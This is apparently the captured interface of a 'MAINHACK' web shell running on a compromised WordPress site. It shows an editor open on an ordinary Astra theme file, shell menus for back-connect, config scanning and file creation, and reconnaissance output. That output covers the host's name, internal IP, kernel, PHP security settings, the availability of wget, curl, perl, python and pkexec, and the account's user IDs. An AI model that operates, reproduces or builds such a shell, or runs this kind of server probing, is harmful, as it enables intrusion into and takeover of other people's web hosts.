[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: navigation.php
<?php /** * Post Navigation - Dynamic CSS * * @package Astra * @since 4.6.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } add_filter( 'astra_dynamic_theme_css', 'astra_navigation_css', 11 ); /** * Post Navigation - Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @return String Generated dynamic CSS for Post Navigation. * * @since 4.6.0 */ function astra_navigation_css( $dynamic_css ) { $mobile_breakpoint = strval( astra_get_mobile_breakpoint() ); $link_hover_color = astra_get_option( 'link-h-color' ); /** Backward compatibility support for left-right paddings @since 4.6.13 */ $remove_mobile_device_paddings = apply_filters( 'astra_remove_single_posts_navigation_mobile_device_padding', ! empty( astra_get_option( 'remove_single_posts_navigation_mobile_device_padding' ) ) ); $mobile_device_paddings = ! $remove_mobile_device_paddings ? 'padding-left: 20px; padding-right: 20px;' : ''; $navigation_css = ' .single .post-navigation a p { margin-top: 0.5em; margin-bottom: 0; text-transform: initial; line-height: 1.65em; font-weight: normal; } .single .post-navigation a .ast-post-nav { font-weight: 600; display: block; text-transform: uppercase; font-size: 0.85em; letter-spacing: 0.05em; } .single .post-navigation a svg { top: .125em; width: 1em; height: 1em; position: relative; fill: currentColor; } .page-links .page-link:hover, .single .post-navigation a:hover { color: ' . esc_attr( $link_hover_color ) . '; } @media( min-width: 320px ) { .single .post-navigation .nav-previous a { text-align: left; padding-right: 20px; } .single .post-navigation .nav-next a { text-align: right; padding-left: 20px; } .comment-navigation .nav-previous:after, .post-navigation .nav-previous:after { position: absolute; content: ""; top: 25%; right: 0; width: 1px; height: 50%; background: var(--ast-single-post-border, var(--ast-border-color)); } } @media( max-width: ' . $mobile_breakpoint . 'px ) { .single .post-navigation .nav-links { -js-display: inline-flex; display: inline-flex; width: 100%; ' . $mobile_device_paddings . ' } .single .post-navigation a p { display: none; } .single .post-navigation .nav-previous { margin-bottom: 0; } } @media( min-width: 421px ) { .single .post-navigation a { max-width: 80%; width: 100%; } .post-navigation a { font-weight: 500; font-size: 16px; } } '; // rtl css for post navigation. if ( is_rtl() ) { $navigation_css .= ' @media( min-width: 320px ) { .single .post-navigation .nav-previous a { text-align: start; } .single .post-navigation .nav-next a { text-align: end; } } @media( max-width: ' . $mobile_breakpoint . 'px ) { .single .post-navigation .nav-links { padding-left: 0px; padding-right: 0px; } } '; } $dynamic_css .= Astra_Enqueue_Scripts::trim_css( $navigation_css ); return $dynamic_css; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697